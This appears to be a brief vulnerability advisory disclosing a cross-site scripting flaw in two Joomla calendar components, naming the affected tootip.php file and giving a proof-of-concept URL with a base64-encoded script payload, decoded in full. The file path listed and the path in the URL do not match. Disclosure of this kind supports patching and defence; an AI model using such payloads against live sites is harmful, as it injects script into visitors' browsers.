----------------------

[+] Software Link:

http://www.joomseller.com/joomla-components/jse-event.html

[+] Affected Versions:

Component com_events_booking_v5
Component com_jse_event < 1.0.1

[+] Vulnerability Description:

The vulnerable files are the following:

.- For JSE Event:
/modules/mod_jse_mini_calendar/tmpl/tootip.php

allowing an attacker to perform XSS attacks.

http://example.com/modules/mod_eb_v5_mini_calendar/tmpl/tootip.php?info=
eyJldmVudHMiOiIoMTU6MDA6MDApIDxzY3JpcHQ%2BYWxlcnQoMSk7PC9zY3JpcHQ%2BIiwg
ImV2ZW50X2lkIjoiNjQiLCAiaXRlbWlkIjoiMSIsICJldnJfaWQiOiIxMTkxIn0%3D

where the contents of the info parameter is the following payload
encoded using base64 encoding

{"events":"(15:00:00) <script>alert(1);</script>", "event_id":"64",
"itemid":"1", "evr_id":"1191"}
